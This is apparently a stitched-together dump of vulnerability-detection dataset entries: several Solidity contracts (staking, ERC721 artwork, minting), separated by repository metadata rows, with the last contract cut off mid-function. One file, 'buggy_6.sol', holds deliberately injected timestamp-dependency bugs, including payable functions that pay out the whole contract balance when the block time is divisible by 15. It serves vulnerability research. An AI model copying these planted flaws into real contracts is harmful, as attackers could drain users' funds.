function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface ISPICY {
function rebase(uint256 profit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract SPCStaking is Ownable {
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable SPC;
address public immutable SPICY;
struct Epoch {
uint number;
uint distribute;
uint32 length;
uint32 endTime;
}
Epoch public epoch;
address public distributor;
address public locker;
uint public totalBonus;
address public warmupContract;
uint public warmupPeriod;
constructor (address _SPC,
address _SPICY,
uint32 _epochLength,
uint _firstEpochNumber,
uint32 _firstEpochTime) {
require(_SPC != address(0));
SPC = _SPC;
require(_SPICY != address(0));
SPICY = _SPICY;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(SPC).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(ISPICY(SPICY).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(SPICY).safeTransfer(warmupContract, _amount);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, ISPICY(SPICY).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), ISPICY(SPICY).balanceForGons(info.gons));
IERC20(SPC).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(SPICY).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(SPC).safeTransfer(msg.sender, _amount);
}
function index() public view returns (uint) {
return ISPICY(SPICY).index();
}
function rebase() public {
if(epoch.endTime <= uint32(block.timestamp)) {
ISPICY(SPICY).rebase(epoch.distribute, epoch.number);
epoch.endTime = epoch.endTime.add32(epoch.length);
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = ISPICY(SPICY).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(SPC).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(SPICY).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(SPICY).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER }
function setContract(CONTRACTS _contract, address _address) external onlyManager() {
if(_contract == CONTRACTS.DISTRIBUTOR) { // 0
distributor = _address;
} else if (_contract == CONTRACTS.WARMUP) { // 1
require(warmupContract == address(0), "Warmup cannot be set more than once");
warmupContract = _address;
} else if (_contract == CONTRACTS.LOCKER) { // 2
require(locker == address(0), "Locker cannot be set more than once");
locker = _address;
}
}
function setWarmup(uint _warmupPeriod) external onlyManager() {
warmupPeriod = _warmupPeriod;
}
}
| 91,779 | 768 |
6f06d10bc775f585aea20259d38ab916674d2fd44f94c77803b129fd7abe96a0
| 9,777 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/Dependency_of_timestamp/Sol/buggy_6.sol
| 2,879 | 9,742 |
pragma solidity ^0.5.8;
contract Ownable
{
address winner_tmstmp31;
function play_tmstmp31(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp31 = msg.sender;}}
bool private stopped;
address winner_tmstmp30;
function play_tmstmp30(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp30 = msg.sender;}}
address private _owner;
address winner_tmstmp3;
function play_tmstmp3(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp3 = msg.sender;}}
address private _master;
address winner_tmstmp10;
function play_tmstmp10(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp10 = msg.sender;}}
event Stopped();
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
event Started();
uint256 bugv_tmstmp5 = block.timestamp;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
uint256 bugv_tmstmp4 = block.timestamp;
event MasterRoleTransferred(address indexed previousMaster, address indexed newMaster);
constructor () internal
{
stopped = false;
_owner = msg.sender;
_master = msg.sender;
emit OwnershipTransferred(address(0), _owner);
emit MasterRoleTransferred(address(0), _master);
}
function bug_tmstmp28 () public payable {
uint pastBlockTime_tmstmp28; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp28); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp28 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function owner() public view returns (address)
{
return _owner;
}
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp27 = msg.sender;}}
function master() public view returns (address)
{
return _master;
}
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp26 = msg.sender;}}
modifier onlyOwner()
{
require(isOwner());
_;
}
modifier onlyMaster()
{
require(isMaster() || isOwner());
_;
}
modifier onlyWhenNotStopped()
{
require(!isStopped());
_;
}
function isOwner() public view returns (bool)
{
return msg.sender == _owner;
}
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function isMaster() public view returns (bool)
{
return msg.sender == _master;
}
function bug_tmstmp24 () public payable {
uint pastBlockTime_tmstmp24; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp24); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp24 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function transferOwnership(address newOwner) external onlyOwner
{
_transferOwnership(newOwner);
}
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp23 = msg.sender;}}
function transferMasterRole(address newMaster) external onlyOwner
{
_transferMasterRole(newMaster);
}
address winner_tmstmp22;
function play_tmstmp22(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp22 = msg.sender;}}
function isStopped() public view returns (bool)
{
return stopped;
}
function bug_tmstmp21() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function stop() public onlyOwner
{
_stop();
}
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function start() public onlyOwner
{
_start();
}
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp2 = msg.sender;}}
function _transferOwnership(address newOwner) internal
{
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp19 = msg.sender;}}
function _transferMasterRole(address newMaster) internal
{
require(newMaster != address(0));
emit MasterRoleTransferred(_master, newMaster);
_master = newMaster;
}
address winner_tmstmp18;
function play_tmstmp18(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp18 = msg.sender;}}
function _stop() internal
{
emit Stopped();
stopped = true;
}
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function _start() internal
{
emit Started();
stopped = false;
}
function bug_tmstmp16 () public payable {
uint pastBlockTime_tmstmp16; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp16); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp16 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
}
contract ChannelWallet is Ownable
{
function bug_tmstmp29() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
mapping(string => address) private addressMap;
uint256 bugv_tmstmp3 = block.timestamp;
event SetAddress(string channelId, address _address);
uint256 bugv_tmstmp2 = block.timestamp;
event UpdateAddress(string from, string to);
uint256 bugv_tmstmp1 = block.timestamp;
event DeleteAddress(string account);
function version() external pure returns(string memory)
{
return '0.0.1';
}
address winner_tmstmp15;
function play_tmstmp15(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp15 = msg.sender;}}
function getAddress(string calldata channelId) external view returns (address)
{
return addressMap[channelId];
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp14 = msg.sender;}}
function setAddress(string calldata channelId, address _address) external onlyMaster onlyWhenNotStopped
{
require(bytes(channelId).length > 0);
addressMap[channelId] = _address;
emit SetAddress(channelId, _address);
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function updateChannel(string calldata from, string calldata to, address _address) external onlyMaster onlyWhenNotStopped
{
require(bytes(from).length > 0);
require(bytes(to).length > 0);
require(addressMap[to] == address(0));
addressMap[to] = _address;
addressMap[from] = address(0);
emit UpdateAddress(from, to);
}
function bug_tmstmp12 () public payable {
uint pastBlockTime_tmstmp12; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp12); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp12 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function deleteChannel(string calldata channelId) external onlyMaster onlyWhenNotStopped
{
require(bytes(channelId).length > 0);
addressMap[channelId] = address(0);
emit DeleteAddress(channelId);
}
address winner_tmstmp11;
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp11 = msg.sender;}}
}
| 224,071 | 769 |
5ea4522cd6ea99cf37ca6d25804c5f133d81e860a2b55334eda051928297a5f2
| 27,817 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x589da521a764e977005a4fbd7a0e1b9593c1c62d.sol
| 4,342 | 15,453 |
pragma solidity ^0.4.24;
// File: zeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Basic.sol
contract ERC721Basic {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId) public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator) public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public;
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721.sol
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Receiver.sol
contract ERC721Receiver {
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
function onERC721Received(address _from, uint256 _tokenId, bytes _data) public returns(bytes4);
}
// File: zeppelin-solidity/contracts/math/SafeMath.sol
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin-solidity/contracts/AddressUtils.sol
library AddressUtils {
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
assembly { size := extcodesize(addr) } // solium-disable-line security/no-inline-assembly
return size > 0;
}
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721BasicToken.sol
contract ERC721BasicToken is ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 constant ERC721_RECEIVED = 0xf0b9e5ba;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
if (getApproved(_tokenId) != address(0) || _to != address(0)) {
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(address _owner, address _operator) public view returns (bool) {
return operatorApprovals[_owner][_operator];
}
function transferFrom(address _from, address _to, uint256 _tokenId) public canTransfer(_tokenId) {
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(address _from,
address _to,
uint256 _tokenId,
bytes _data)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) {
address owner = ownerOf(_tokenId);
return _spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
emit Approval(_owner, address(0), _tokenId);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(address _from,
address _to,
uint256 _tokenId,
bytes _data)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(_from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
// File: zeppelin-solidity/contracts/token/ERC721/ERC721Token.sol
contract ERC721Token is ERC721, ERC721BasicToken {
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
function ERC721Token(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
}
function name() public view returns (string) {
return name_;
}
function symbol() public view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) {
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
// File: contracts/TVArtWork.sol
contract ITVCrowdsale {
uint256 public currentRate;
function buyTokens(address _beneficiary) public payable;
}
contract ITVToken {
function transfer(address _to, uint256 _value) public returns (bool);
function safeTransfer(address _to, uint256 _value, bytes _data) public;
}
contract TVArtWork is Ownable, ERC721Token {
uint public price;
address public manager;
address public holder;
address public TVTokenAddress;
address public TVCrowdsaleAddress;
bytes4 constant TOKEN_RECEIVED = bytes4(keccak256("onTokenReceived(address,uint256,bytes)"));
uint internal incrementId = 0;
address internal checkAndBuySender;
modifier onlyOwnerOrManager() {
require(msg.sender == owner || manager == msg.sender);
_;
}
event TokenReceived(address from, uint value, bytes data, uint tokenId);
event ChangeAndBuyPremium(address buyer, uint rate, uint price, uint tokenId);
constructor(address _TVTokenAddress,
address _TVCrowdsaleAddress,
address _manager,
uint _price,
address _holder) public ERC721Token("TVArtWork Token", "TVAW") {
manager = _manager;
price = _price;
TVCrowdsaleAddress = _TVCrowdsaleAddress;
TVTokenAddress = _TVTokenAddress;
holder = _holder;
}
function mint(address to) public onlyOwnerOrManager {
incrementId++;
super._mint(to, incrementId);
}
function onTokenReceived(address _from, uint256 _value, bytes _data) public returns (bytes4) {
require(msg.sender == TVTokenAddress);
uint tokenId = uint256(convertBytesToBytes32(_data));
require(super.ownerOf(tokenId) == holder);
require(price == _value);
ITVToken(TVTokenAddress).transfer(holder, _value);
_from = this == _from ? checkAndBuySender : _from;
checkAndBuySender = address(0);
require(_from != address(0));
require(holder != address(0));
super.removeTokenFrom(holder, tokenId);
addTokenTo(_from, tokenId);
emit TokenReceived(_from, _value, _data, tokenId);
return TOKEN_RECEIVED;
}
function changeAndBuy(uint tokenId) public payable {
uint rate = ITVCrowdsale(TVCrowdsaleAddress).currentRate();
uint priceWei = price / rate;
require(priceWei == msg.value);
ITVCrowdsale(TVCrowdsaleAddress).buyTokens.value(msg.value)(this);
bytes memory data = toBytes(tokenId);
checkAndBuySender = msg.sender;
ITVToken(TVTokenAddress).safeTransfer(this, price, data);
emit ChangeAndBuyPremium(msg.sender, rate, priceWei, tokenId);
}
function changePrice(uint _price) public onlyOwnerOrManager {
price = _price;
}
function changeHolder(address _holder) public onlyOwnerOrManager {
holder = _holder;
}
function changeTVTokenAddress(address newAddress) public onlyOwnerOrManager {
TVTokenAddress = newAddress;
}
function changeTVCrowdsaleAddress(address newAddress) public onlyOwnerOrManager {
TVCrowdsaleAddress = newAddress;
}
function setManager(address _manager) public onlyOwner {
manager = _manager;
}
function convertBytesToBytes32(bytes inBytes) internal pure returns (bytes32 out) {
if (inBytes.length == 0) {
return 0x0;
}
assembly {
out := mload(add(inBytes, 32))
}
}
function toBytes(uint256 x) internal pure returns (bytes b) {
b = new bytes(32);
assembly {mstore(add(b, 32), x)}
}
}
| 191,170 | 770 |
d8a6d0beec3cadcd04931a1ef53227481f1ddb1e46a68b7a32433fb27c1e3226
| 15,685 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0x005aacb9d02616ebdc2b968d3544dfa864fd2f69.sol
| 4,226 | 15,233 |
pragma solidity ^0.5.11;
contract Ownable {
address public owner;
address public manager;
uint private unlocked = 1;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner, "1000");
_;
}
modifier onlyManager() {
require(msg.sender == owner || (manager != address(0) && msg.sender == manager), "1000");
_;
}
function setManager(address user) external onlyOwner {
manager = user;
}
modifier lock() {
require(unlocked == 1, '1001');
unlocked = 0;
_;
unlocked = 1;
}
}
contract ITGToken{
uint public totalSupply;
uint public limitSupply;
mapping(address => uint) public balanceOf;
function mint(address miner,uint256 tokens,uint256 additional) external returns(bool success);
function redeem(address miner,uint256 tokens) external returns(bool success);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, '1002');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, '1002');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, '1002');
}
function div(uint x,uint y) internal pure returns (uint z){
if(x==0){
return 0;
}
require(y == 0 || (z = x / y) > 0, '100');
}
}
contract MintToken is IERC20, Ownable {
using SafeMath for uint;
ITGToken tg;
address public tokenContract;
uint limitSupply;//tgtoken
uint minerPrice = 1 ether;// eth
uint minerQuota = 100 ether * 10000;//
uint public minerid = 0;//
uint public auctionId = 0;//
uint public lessThanId = 0;//
uint constant RATIO = 10000;//1eth
uint constant MINER_LIMIT = 10000;//
uint constant MINER_EXPIRES = 180 days;
uint constant QUOTA_LIMIT = 5 ether * 10000; //5 ether * RATIO
uint constant MINT_MIN_VALUE = 0.1 ether;//
uint constant MINT_MAX_VALUE = 1 ether;//
uint constant MIN_TOKENS = 1000 ether;//
uint public totalSupply;
uint public constant decimals = 18;
string public constant name = 'TGToken Mint Certificate';
string public constant symbol = 'TMC';
bool auctionStatus = false;//
struct MinerStruct {
uint id;
uint quota;
uint tokens;
}
struct AuctionStruct {
uint id;
uint quota;
uint expires;
uint price;
uint count;
uint highest;
address bider;
}
struct LessThanStruct {
uint id;
uint time;
}
mapping (address => AuctionStruct) public auctions;
mapping (address => MinerStruct) miners;
mapping (uint => address) public auctionOf;
mapping (address => mapping(address => uint)) public allowance;
mapping (address => LessThanStruct) lessThanQuotaLimit;
mapping (uint => address) lessThanOf;
event Mint(address indexed from,uint id, uint value ,uint tokens);
event Redeem(address indexed from, uint value, uint tokens);
event Buy(address indexed from, address target, uint value);
event Auction(address indexed from,uint id,uint quota, uint price,uint count,uint expires,address bider, uint highest);
constructor () public {
_miner_add(msg.sender, 0, 0, 0);
}
function initTokenContract(address _token) external onlyOwner{
tokenContract = _token;
tg = ITGToken(tokenContract);
limitSupply = tg.limitSupply();
miners[msg.sender].quota = limitSupply;
}
function balanceOf(address user) external view returns (uint){
return miners[user].tokens;
}
function _transfer(address from, address to, uint value) private {
require(miners[to].id > 0, '2030');
miners[from].tokens = miners[from].tokens.sub(value);
miners[to].tokens = miners[to].tokens.add(value);
_update_lessthan(from);
_update_lessthan(to);
emit Transfer(from, to, value);
}
function transfer(address to, uint value) external lock returns (bool){
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint value) external returns (bool){
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool){
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function mint() external payable {
require(msg.value >= MINT_MIN_VALUE, '2001');
uint tokens = msg.value.mul(RATIO);
uint amount = tokens / 20;
if(miners[msg.sender].id > 0){
miners[msg.sender].tokens = miners[msg.sender].tokens.add(tokens);
require(miners[msg.sender].tokens <= miners[msg.sender].quota,'2004');
}else{
require(msg.value <= MINT_MAX_VALUE,'2006');
